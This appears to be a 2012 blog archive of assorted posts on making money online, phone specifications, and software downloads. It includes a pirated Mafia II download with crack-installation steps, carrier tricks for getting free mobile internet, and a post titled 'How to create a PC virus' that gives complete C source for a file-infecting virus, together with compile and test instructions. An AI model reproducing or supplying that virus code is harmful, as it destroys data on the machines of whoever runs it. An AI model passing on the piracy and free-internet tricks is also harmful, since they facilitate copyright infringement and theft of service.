It’s an URL Shortening service and have a very low rate but you don’t have to put a lot of efforts ,It’s a service where your visitors don't have to complete any actions in order to access your link. With the help of Adf.ly you can make up to 5 dollars for every 1000 visits and get paid to your PayPal account as soon as your balance reaches 20 dollars.

Adf.ly is one of the easiest ways to earn money online ,you just have to short an URL and use it anywhere on the web…

Final Words

The all sites listed here are well trusted and personally used by me ,the pay-outs of these sites may seems little but these sites doesn’t require a lot of efforts and your Hard Earned money. Beyond PTC sites the low pay out Forum, social Networks, URL shortening services can

be very useful for you to earn some extra cash online. you just have to give all a try.

What’s Your Take ?

What kind of sites you use to earn money online beyond PTC sites ?

is there any personal favourite website which can be used to Make Money Online ?share it with your great comments below…

Virtual Assistant for Online Money Making

2012-04-02T23:13:00.000-07:00

If you are looking for a job that won’t require you to go out of the house and to drive your way to the office just to be there on time to earn money online for a living, then becoming a virtual assistant can be one of the best ways to earn money too. First thing that you can do is to learn first how to become a virtual assistant and if you can do that then you have an advantage of becoming one. A virtual assistant is the one who performs the task for the company from an offsite location since you are at home and you will not be going to the office to do the job.

A virtual assistant may be from the country or state where the business is located or it can also be from somewhere else since the person is not required to go to the site physically to do the job. Small to large scale businesses can hire a virtual assistant depending on their needs since a VA is the one who performs important task that includes administrative tasks, special projects and others. the task of a VA may be about a task of more than 10 employees in a regular office so those companies that are into online business are employing VA instead of employing a regular worker since they will only pay for one person instead of paying for a lot of employees.

Finding a job online to make money for a living is not a hard task because there are lots of ways to earn money online and there are lots of virtual firms that are also looking for workers. VA or virtual assistant is one of the types of job that you can apply if you know how to do administrative works. There are lots of websites that are into scam so you should also be very careful. There are lots of opportunities when it comes to becoming a virtual assistant and some of the websites that are hiring massive amount of VA is Odesk International since there are lots of independent contractors who actually need help of VA. There are few tips that can be very helpful to you and here are some of those:

First thing that you should do is to check out the websites that are specializing in VA temp’s is one of those sites that connects to companies that are in need of virtual assistants it is like an agency where you will apply to them and they will hand out the requirements that you have to the other party. You may be charged with membership fee but it is only minimal. Here, you will not have a hard time finding a job because they will do that for you all you have to do is to register to them to get the job.
You can also bid to become a VA. Guru.com is a known site where you can bid for jobs. There are different categories that will be provided to you and it’s just up to you to choose the category where your qualifications fall

Download Kaspersky Anty-virus 2012 for free

2012-04-02T07:29:00.000-07:00

Kaspersky Anti-Virus 12.0.0.374Kaspersky - 68.38MB (Commercial Trial) DescriptionKaspersky anti-virus protects you from the Phishing and Malware sites that you wouldn't otherwise know were attempting to steal from you. At the same time, the Kaspersky Security Network allows your computer to report when it discovers a threat that hasn't been seen before. All 250 million Kaspersky users benefit from our combined knowledge! Kaspersky features include: Protects from viruses, Trojans, worms, spyware, adware Scans files, email, and internet traffic Protects Instant Messengers Protects From Unknown Threats Analyzes and closes Internet Explorer...

Drop-Shipping: Low-Overhead Retail Sales

2012-04-02T07:08:00.000-07:00

A lot of people on the Internet have drop-ship agreements with certain manufacturers and warehouses, but that doesn’t mean there isn’t room for a few more. There is a world of difference between making an item and making an item and also selling it. If a company is going to make an item and ship it to a retailer, why not ship it directly to whatever address you give them? Basically, a drop-ship agreement is where you do all the selling and handle all of the customers and deal with the money exchange and the manufacturer ships whatever you purchase to wherever you want. This eliminated the need for you to invest money in product or space to house product.

This is a great way to make a living online. You are just managing the website, the sales and customer base. You never even have to see the product and you most certainly never lay hands on it. Think of it like being an independent sales representative—only your portion of the job is completely virtual.

This is exactly ‘passive income,’ you have to input order entry, market your website and handle customer relations. It’s a job any way you slice it, but depending upon the amount of business you want to do and what kind of niche you’re working with, the job can be as demanding as you want it to be.

There is no beating the lack of overhead, that’s where brick and mortar retailers really suffer costs. No rent, no huge electric bill, no uninspired employees to pay just to stand around, no need for a cleaning service, and so forth. It’s just you, juggling orders entered on the website. You manage, and that’s it. No need for a business loan to buy inventory and build a shop, and no risk of surplus goods sitting around tying up your money. You won’t make quite the same percentage margin, but you can reach a greater audience and expand your territory in a way you can’t in a building.

The most difficult part is going to be marketing the product(s) you wish to drop ship. You have to keep traffic coming to your site and no doubt there will be competition for drop-shipping a lot of goods, especially the lucrative ones. So, you’ll have to stay on top of your page rank and positive traffic. This is why it’s a good idea to arrange multiple websites and for drop-ship business in different areas of product, so you can backlink and market each website through a network that you control.

Affiliate marketing is a great way to make money, but seeing as how you’re only providing a little bit of the service, you only get a little bit of the profit. With drop-ship arrangements you do more of the work, but the profit margin is higher. A lot of companies encourage drop-ship arrangements and make the process very simple since they’re already doing it with several other website e-retailers. If not, it might be worth approaching someone about going into that kind of business with you

Download Mafia 2

2012-04-01T07:22:00.002-07:00

Mafia II

Mafia II is a highly adventures action third person shooting game. Full version of this game is available for free download from the link given at the bottom of this page. This is the sequel to the original game Mafia The City of Lost Heaven. The game is developed by 2K Czech and published by 2K games.

The game is set in the fictional city called Empire Bay. The character you play is called veto, who is an ex-army personal and had participated in World War II. The story begins after his return to the home land i.e. to Empire Bay, where he realize about his family ,which is going through a very bad conditions, to overcome that he joins a gang of people who works for mafia. The game takes you deeper into mafia with a mature and compelling narrative that will immerse you like never before.

Now talking about the gameplay moves like shooting, fighting and rest of the things are simple and straightforward which creates a very smooth gameplay experience. Player will have choice of different weapons such as Thompson submachine gun, Colt1911, MP 40, the M3 submachine gun MG 42 and berretta model 38. Interacting with objects in the environment involves two action buttons one is standard and another is violent. Both can be used which are dependent on the situation. A map is included as in the original mafia game.

The graphics looks really good, which explores the creativity of the 2K Czech team; they have paid lot of attention towards the drafting of each character in the game. The Empire Bay and the characters live and breathe visually as the story progresses. The audio and background music is well done along with the visual effects.

Screenshots:

Minimum System Requirements
* OS: Windows XP SP2, Vista or Windows 7
* CPU: Intel Pentium D 3 Ghz / AMD Athlon X2 @ 2.4 Ghz
* RAM: 1.5 GB
* HDD: 8 GB free disk space
* Graphics: 512 MB Graphics Memory
* Sound Card: DirectX 9 Compatible
* DirectX: Version 9.0c

Recommended System Requirements
* OS: Windows XP SP2, Vista or Windows 7
* CPU: Intel Core 2 Quad @ 2.4 Ghz / AMD Phenom X4 @ 2.5 Ghz
* RAM: 2 GB
* HDD: 10 GB free disk space
* Graphics: 1 GB Graphics Memory
* Sound Card: DirectX 9 Compatible
* DirectX: 10

Download | Mediafire Links:

Pass : softvnn.com

Install Notes:
(1) Unpack release
(2) Mount image or burn it
(3) Install
(4) Copy the content from the SKIDROW folder on the DVD to the /pc/ folder inside the main installation dir and overwrite
(5) Play the game.

Earn Money from Rupee Mail

2012-04-01T06:48:00.001-07:00

Get paid to open your mail

You receive the face value amount of the stamp instantly when you open RupeeMail

RupeeMail is easily distinguishable from spam

A suffix of "RupeeMail - Rs." in subject line of RupeeMail sets it apart from all other mails.

RupeeMail is safe because it is sent by verified senders

Only verified and authenticated senders are allowed to send RupeeMail.

Redeem your earnings by Cheque any time

Simple one step process to redeem your earnings by cheque.

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Simply select the charity of your choice to donate your earnings.

You decide what to receive & what not to receive

You will receive RupeeMails only in your prefered email categories of products and services .

You will receive discount coupons and other offers of your choice

You will often save a lot more coupons and other offers in RupeeMail for quality products and services

For More Details Logon To rupeemail.in

Samsung Galaxy S2 I9100

2012-04-01T06:39:00.001-07:00

Samsung Galaxy S2 I9100 is an Android mobile with Android OS, v2.3 and Samsung's TouchWiz UI v4.0
It comes with a 4.3 inches Super AMOLED Plus capacitive touchscreen with 480 x 800 pixels resolution
It runs on a Dual-core 1.2GHz processor and 1 GB RAM. Comes with 16 GB internal memory
Connectivity options include Wi-Fi, DLNA, Wi-Fi Direct, Wi-Fi hotspot and HDMI Output
Camera is 8 MP with autofocus and LED Flash. It is capable of Full HD Recording(1080p)
It sports ultra thin 8.49 mm chassis, Gorilla Glass display and GPS Navigation
Battery is Li-Ion 1650 mAh with talk time of upto 18hr 20min (2G) / 8hr 40 min (3G)

Apple iPhone - 4S

2012-04-01T06:27:00.000-07:00

Color	White Black
Capacity¹	16GB	32GB	64GB
Price²	$199	$299	$399
Size and Weight³	Height: 4.5 inches (115.2 mm) Width: 2.31 inches (58.6 mm) Depth: 0.37 inch (9.3 mm) Weight: 4.9 ounces (140 grams)
Cellular and Wireless	World phone UMTS/HSDPA/HSUPA (850, 900, 1900, 2100 MHz); GSM/EDGE (850, 900, 1800, 1900 MHz) CDMA EV-DO Rev. A (800, 1900 MHz)⁴ 802.11b/g/n Wi-Fi (802.11n 2.4GHz only) Bluetooth 4.0 wireless technology
Location	Assisted GPS and GLONASS Digital compass Wi-Fi Cellular
Display	Retina display 3.5-inch (diagonal) widescreen Multi-Touch display 960-by-640-pixel resolution at 326 ppi 800:1 contrast ratio (typical) 500 cd/m2 max brightness (typical) Fingerprint-resistant oleophobic coating on front and back Support for display of multiple languages and characters simultaneously
Camera, Photos, and Video	8-megapixel iSight camera Autofocus Tap to focus Face detection in still images LED flash Video recording, HD (1080p) up to 30 frames per second with audio Video stabilization Front camera with VGA-quality photos and video at up to 30 frames per second Photo and video geotagging
External Buttons and Connectors	External Buttons and Controls Connectors and Input/Output
Power and Battery⁵	Built-in rechargeable lithium-ion battery Charging via USB to computer system or power adapter Talk time: Up to 8 hours on 3G, up to 14 hours on 2G (GSM) Standby time: Up to 200 hours Internet use: Up to 6 hours on 3G, up to 9 hours on Wi-Fi Video playback: Up to 10 hours Audio playback: Up to 40 hours
Audio Playback	Frequency response: 20Hz to 20,000Hz Audio formats supported: AAC (8 to 320 Kbps), Protected AAC (from iTunes Store), HE-AAC, MP3 (8 to 320 Kbps), MP3 VBR, Audible (formats 2, 3, 4, Audible Enhanced Audio, AAX, and AAX+), Apple Lossless, AIFF, and WAV User-configurable maximum volume limit
TV and Video	AirPlay Mirroring to Apple TV support at 720p Video mirroring and video out support: Up to 1080p with Apple Digital AV Adapter or Apple VGA Adapter (adapters sold separately) Video out support at 576p and 480p with Apple Component AV Cable; 576i and 480i with Apple Composite AV Cable (cables sold separately) Video formats supported: H.264 video up to 1080p, 30 frames per second, High Profile level 4.1 with AAC-LC audio up to 160 Kbps, 48kHz, stereo audio in .m4v, .mp4, and .mov file formats; MPEG-4 video up to 2.5 Mbps, 640 by 480 pixels, 30 frames per second, Simple Profile with AAC-LC audio up to 160 Kbps per channel, 48kHz, stereo audio in .m4v, .mp4, and .mov file formats; Motion JPEG (M-JPEG) up to 35 Mbps, 1280 by 720 pixels, 30 frames per second, audio in ulaw, PCM stereo audio in .avi file format
Headphones	Apple Earphones with Remote and Mic Frequency response: 20Hz to 20,000Hz Impedance: 32 ohms
Mail Attachment Support	Viewable Document Types .jpg, .tiff, .gif (images); .doc and .docx (Microsoft Word); .htm and .html (web pages); .key (Keynote); .numbers (Numbers); .pages (Pages); .pdf (Preview and Adobe Acrobat); .ppt and .pptx (Microsoft PowerPoint); .txt (text); .rtf (rich text format); .vcf (contact information); .xls and .xlsx (Microsoft Excel)
Sensors	Three-axis gyro Accelerometer Proximity sensor Ambient light sensor
System Requirements	Apple ID (required for some features) Internet access⁶ Syncing with iTunes on a Mac or PC requires: Mac: OS X v10.5.8 or later PC: Windows 7; Windows Vista; or Windows XP Home or Professional with Service Pack 3 or later iTunes 10.5 or later (free download fromwww.itunes.com/download)
Environmental Requirements	Operating temperature: 32° to 95° F (0° to 35° C) Nonoperating temperature: −4° to 113° F (−20° to 45° C) Relative humidity: 5% to 95% noncondensing Maximum operating altitude: 10,000 feet (3000 m)
Languages	Language Support English (U.S.), English (UK), Chinese (Simplified), Chinese (Traditional), French, German, Italian, Japanese, Korean, Spanish, Arabic, Catalan, Croatian, Czech, Danish, Dutch, Finnish, Greek, Hebrew, Hungarian, Indonesian, Malay, Norwegian, Polish, Portuguese, Portuguese (Brazil), Romanian, Russian, Slovak, Swedish, Thai, Turkish, Ukrainian, Vietnamese Keyboard Support English (U.S.), English (UK), Chinese - Simplified (Handwriting, Pinyin, Stroke), Chinese - Traditional (Handwriting, Pinyin, Zhuyin, Cangjie, Stroke), French, French (Canadian), French (Switzerland), German (Germany), German (Switzerland), Italian, Japanese (Romaji, Kana), Korean, Spanish, Arabic, Bulgarian, Catalan, Cherokee, Croatian, Czech, Danish, Dutch, Emoji, Estonian, Finnish, Flemish, Greek, Hawaiian, Hebrew, Hindi, Hungarian, Icelandic, Indonesian, Latvian, Lithuanian, Macedonian, Malay, Norwegian, Polish, Portuguese, Portuguese (Brazil), Romanian, Russian, Serbian (Cyrillic/Latin), Slovak, Swedish, Thai, Tibetan, Turkish, Ukrainian, Vietnamese Dictionary Support (enables predictive text and autocorrect) English (U.S.), English (UK), Chinese (Simplified), Chinese (Traditional), French, French (Canadian), French (Switzerland), German, Italian, Japanese (Romaji, Kana), Korean, Spanish, Arabic, Catalan, Cherokee, Croatian, Czech, Danish, Dutch, Estonian, Finnish, Flemish, Greek, Hawaiian, Hebrew, Hindi, Hungarian, Indonesian, Latvian, Lithuanian, Malay, Norwegian, Polish, Portuguese, Portuguese (Brazil), Romanian, Russian, Slovak, Swedish, Thai, Turkish, Ukrainian, Vietnamese Siri Languages English (U.S., UK, and Australian), French, German
In the Box	iPhone 4S Apple Earphones with Remote and Mic Dock Connector to USB Cable USB Power Adapter Documentation

Tata docomo trick for free internet

2012-04-01T06:14:00.001-07:00

Hi all readers. If you have tata docomo mobile here is good news for you.

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Apn: TATA.DOCOMO.DIVE.IN
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Latest airtel free internet

2012-04-01T06:10:00.000-07:00

Latest AirTel Operator Trick Hack for Free Internet

    Download a Handler
[ Download Opera Mini Handler(http://www.hackersreunited.net/2011/11/airtel-opera-mini-61-handler-mod-hacked.html)

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    Open the Handler
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Make money with Google Ads

2012-03-31T23:23:00.000-07:00

Google’s AdSense is an attractive revenue making opportunity for small, medium and large web sites since a long time now but it’s against the rule of Google’s AdSense if you are running any website only for AdSense earning for which you need to include a few Affiliate links or sell your own product, too.

Googlehas a lot of forbidden practices when it comes to AdSense, and too many user are finding out they spoiled Google’s policies after the fact – because they never bothered to read the AdSense policies in the first phase.

Google AdSense is the Google program where you can host pay-per-click ads on your Website. When someone clicks an ad, you earn money. So if you are one of those people that don’t like the idea of paying for a site, this is an excellent way to earn your money back and then some.

How Much You Can Earn With AdSense?

The amount you’ll earn depends largely on the amount of targeted traffic you receive to your own site, how well the ads match your audience’s interests, the placement of the ads on your pages, and of course the amount you receive per click.

Ideally, you should create a site on a topic you know a lot about. That way you’ll have a much easier time creating a generous amount of content on that subject.

Determine a goal for what you want to earn using AdSense. Of course, you want to earn a lot, but make sure it’s realistic.

Be realistic Forget about the fantasy story you read on internet about earning big money from Google. If you think of making a website and getting to be instant rich, it is likely to disappoint you. Imagine that if you build a small website with 100,000 page views per month with 0.5% CTR and 5c average payout, you will only get US$25 (100,000 x 0.5% x 0.5c). To achieve 100,000 page views a month, you possibly need 500-1000 users. By theory, your website can reach more than billions of internet users in the whole world, but there are also 100 millions of websites competing for users.
Website promotion techniques especially search engine optimization and article marketing will bring more traffic to your site. You also need to have content that will attract the ads with the highest Pay Per Click (PPC) rate that are relevant to that content. Google is at least as interested as you are in having your ads perform well on your site and therefore provide the info you need to optimize your AdSense.
Start building keyword-rich pages containing well researched, profitable keywords, and get lots of high quality links to your site. For example, if your site is about topics such as debt consolidation, web hosting or asbestos-related cancer, you’ll earn much more per click than if it’s about free things. On the other hand, if you concentrate only on top-paying keywords, you’ll face an awful lot of tough competition. What you want are keywords that are high in demand and low in supply, So do some careful keyword research before you build your pages.

How to Join AdSense:

Once you have pages ready for your website, go to http://adsense.google.com to apply.

When you are accepted, simply copy and paste the provided HTML code into any page that you’d like to show the ads. If you’ve done a good job of defining the content on your web pages, the ads that show should be relevant to the content of your page…increasing the chances of click-thrus by your visitors.

You can either display the ads vertically along side the page like Google does or in a banner-like formation horizontally across your pages. The placement is up to you. You can even customize the colors to match your site’s theme. Google AdSense allows you to specify up to 200 URLs for sites you want to bar from placing ads on your pages. The problem is that most times you won’t know the competitors are out there until their ads appear.

Google Money Making Tips on Succeeding:

Create a website with your Don’t try to use a free web host because your site will likely have banners and pop-ups and get rejected because it looks unprofessional. A free web host will give you a website address like this:

http://www.thefreewebhost.com/yoursite/member1234/home.html instead of… http://www.yoursite.com Start by registering your own domain and then select a web host.

Quality is the most important part of any web site. If your site does not contain the content of expected quality the visitor might not come back, if the main goal of your site is to make money with AdSense, be sure to choose a topic that you know a lot about so you can write lots and lots of content. A variety of size and shape ads for placing in your content are available. These can be text or image ads or both – you specify what you’ll allow. Ad units are full ads. Link units are simply a strip of text links that your visitors might want to click. Google allows you to put up to 3 Ad Units and 1 Link unit on each page of your Web site.
Get traffic. Once your site is up and running you’ll need to learn how to get your site listed in the major search engines.
Google AdSense for Search – This place a search box on your Web site. When a user enters a term and conducts a search, a search results page opens, that hosts more pay-per-click ads. You can customize the color scheme of the search results page to harmonize with your web site. Although Google doesn’t release exact details as to how they determine the ads to serve on a given page, they do say that it’s the text content of the page that matters, not the Meta tags.
Google Referrals – You canmake money by referring visitors to use a Google product, like AdSense, AdWords, the Google Toolbar and other Google software. For example Google generates the code that you paste into the desired location on your web page. You can choose from a wide variety of buttons and text links of different colors. If someone goes to your site and clicks the link and signs up for an AdSense account, when that person earns a $100 from Google AdSense and receives a payout from Google, you’ll also receive $100 for referring them, if an ad dynamo happens to visit your site and uses your referral link, you can make money anyway!

Google AdSense Payments:

Google will not issue an AdSense payment until your earnings exceed $100. Unfortunately, there are loads of Google AdSense Forum entries about website operators who accumulated $90 or more in click through earnings only to get banned from Google and not get paid anything at all before they ever reached $100. This may be because Google doesn’t take a close look to see if you’re complying with their guidelines until it comes time to pay you.

Don’t's:

Do not click your ads. If Google catches you, they will suspend your account and retain any earnings you might have. However, if you, by mistakes, click your ads for one or two times, Google will keep that earning but rather not to punish you as long as it doesn’t happen constantly.
Google has a lot of restrictions on how the ads have to be displayed. One of the major reasons for account suspension is that webmasters tried to blur the ads and mislead others to think that it’s “content”. For simplicity, never attempt to use CSS to hide Google’s logo unless you’re authorized to do it.

Patience is key with Google. It can take a few months. Don’t create a hodgepodge site with topics on everything under the sun. Stay focused and make sure your site has an obvious theme.

Getting into Google is completely free and can bring in hundreds or even thousands of visitors per day. Then do the same with Yahoo, MSN, etc. All The Best!

Here’s the Adsense Intro Video from Google:

How to create a PC virus

2012-03-31T23:16:00.001-07:00

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

USING BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

Now Airtel Unlimited BBM Plan129 For Prepaid Customers

2012-03-31T23:12:00.000-07:00

Bharti Airtel has announced a brand new offering for its BlackBerry customers in India. According to the plan, Airtel Prepaid customers will get unlimited BlackBerry Messenger, which is popularly known as BBM, usage along with 300 local or national SMSes every month for a charge of Rs 129 per month.

Initially this unique plan was launched on January 12th, 2012 for Airtel’s Postpaid Customers which is now extended for Prepaid customers.

plan name	rental	duration (days)	benefits
Weekly Personal Mail	Rs. 80	7 days	Unlimited emails (POP/IMAP) + Instant Messaging
Monthly Personal Mail	Rs. 299	30 days	Unlimited emails (POP/IMAP) + Instant Messaging
BlackBerry BBM Plan	Rs 129	30 days	Unlimited BlackBerry Messenger+300 National SMS

To subscribe, existing and new prepaid Airtel mobile customers on BlackBerry can call 121 or SMSairtelbb to 121 and choose their plan.

Advanced IP Scanner 2.1 (Free Network Scanning Tool)

2012-03-31T23:09:00.003-07:00

Advanced IP Scanner is a free, fast and easy-to-use network scanner for Windows. In a matter of seconds, this utility finds all the computers on your network and provides easy access to their various resources, whether HTTP, HTTPS, FTP or shared folders. With Advanced IP Scanner, you can wake up and shut down remote groups of Windows machines. If you use Radmin remote access software, you will also enjoy the improved Radmin Server detection and integration capabilities, which allow you to connect to any scanned machine with Radmin Server.

DOWNLOAD

English, 7.5 Mb

Nokia 808 Pureview 3G

2012-03-31T23:02:00.002-07:00

The Nokia 808 PureView uses a 41 MP sensor, which captures image data from seven adjacent pixels and condenses it into one, resulting in stills at around 5 MP resolution with amazing detail and low noise levels. The optics are Carl Zeiss and there’s Xenon flash and a LED one acting as a video light.

Technically the sensor is able to capture 3 MP, 5 MP, 8 MP, 38 MP at 4:3 aspect ratio and 2 MP, 5 MP [Default], 8 MP, 34 MP at 16:9.

Video recording goes as high as FullHD 1080p at 30 fps and there’s also 720p@30fps. Video is encoded in H264 and supports stereo sound recording. The large image sensor allows 4x zoom in 1080p and 6x in 720p.

Carl Zeiss-lensed camera: it handles continuous-focus 1080p, but is claimed to have an incredible sensor resolution of over 41-megapixels when shooting stills — or 34-megapixels for 16:9 images. It uses some clever interpolation jiggery-pokery that condenses four or five pixels into one pixel, to produce a smaller file size for the output image

The Nokia 808 PureView has a single-core 1.3 GHz processor and 512 MB RAM and runs on Symbian Belle. The display is a 16:9 4″ AMOLED of nHD (640 x 360) resolution covered with curved Gorilla Glass

According to Nokia, the 808 PureView will launch in May 2012.

Nokia 808 Pureview Phone Specification :

GENERAL

2G Network - GSM 850 / 900 / 1800 / 1900
3G Network - HSDPA 850 / 900 / 1700 / 1900 / 2100

BODY

Dimensions - 123.9 x 60.2 x 13.9 mm, 95.5 cc
Weight - 169 g

DISPLAY

Type - AMOLED capacitive touchscreen, 16M colors
Size - 360 x 640 pixels, 4.0 inches (~184 ppi pixel density)
Multitouch - Yes
Protection - Corning Gorilla Glass
- Nokia ClearBlack display

SOUND

Alert types - Vibration; MP3, WAV ringtones
Loudspeaker - Yes
3.5mm jack - Yes

MEMORY

Card slot - microSD, up to 32 GB
Internal - 16 GB storage

DATA

GPRS - Class 33
EDGE - Class 33
Speed - HSDPA 14.4 Mbps, HSUPA 5.76 Mbps
WLAN - Wi-Fi 802.11 b/g/n, DLNA, UPnP technology
Bluetooth - Yes, v3.0 with A2DP
NFC - Yes
USB - Yes, microUSB v2.0, USB On-the-go support

CAMERA

Primary - 41 MP (38 MP effective, 7152 x 5368 pixels), Carl Zeiss optics, autofocus, Xenon flash
Features - 1/1.2” sensor size, ND filter, geo-tagging, face detection
Video - Yes, 1080p@30fps, 3x digital zoom (effective 24-74mm f/2.4 @1080p)
Secondary - Yes, VGA; VGA@30fps video recording

FEATURES

OS - Nokia Belle OS
CPU - 1.3 GHz
Sensors - Accelerometer, proximity, compass
Messaging - SMS (threaded view), MMS, Email, Push Email, IM
Browser - HTML5, Adobe Flash Lite
Radio - Stereo FM radio with RDS; FM transmitter
GPS - Yes, with A-GPS support
Java - Yes, MIDP 2.1
Colors - Black, White, Red
- SNS integration
- Active noise cancellation with a dedicated mic
- HDMI port
- MP3/WMA/WAV/eAAC+ player
- MP4/H.264/H.263/WMV player
- Voice command/dial
- Document viewer
- Video/photo editor
- Predictive text input

How much price of Nokia 808 Pureview Mobile phone :

Nokia 808 Pureview Price in USA :$ 610 Approx.

Nokia 808 Pureview Price in UK €450 = £ 384

Nokia 808 Pureview Price in India Rs 34000 Approx.

It’s expected to arrive in May 2012 at a price of €450

How to (Flip) Upside Down Facebook Status Update

2012-03-31T22:54:00.002-07:00

Go to the website www.fliptext.org.
In the upper field type your status that you want to update and then click on Flip Text button.
Now in the lower field you will see flipped text of your status.

Copy it and update it as your status.

Hast Rider

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Samsung Galaxy S2 I9100

Apple iPhone - 4S

Color

Capacity1

Price2

Size and Weight3

Cellular and Wireless

Location

Display

Camera, Photos, and Video

External Buttons and Connectors

Power and Battery5

Audio Playback

TV and Video

Headphones

Mail Attachment Support

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Sensors

System Requirements

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Languages

Language Support

Keyboard Support

Dictionary Support (enables predictive text and autocorrect)

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In the Box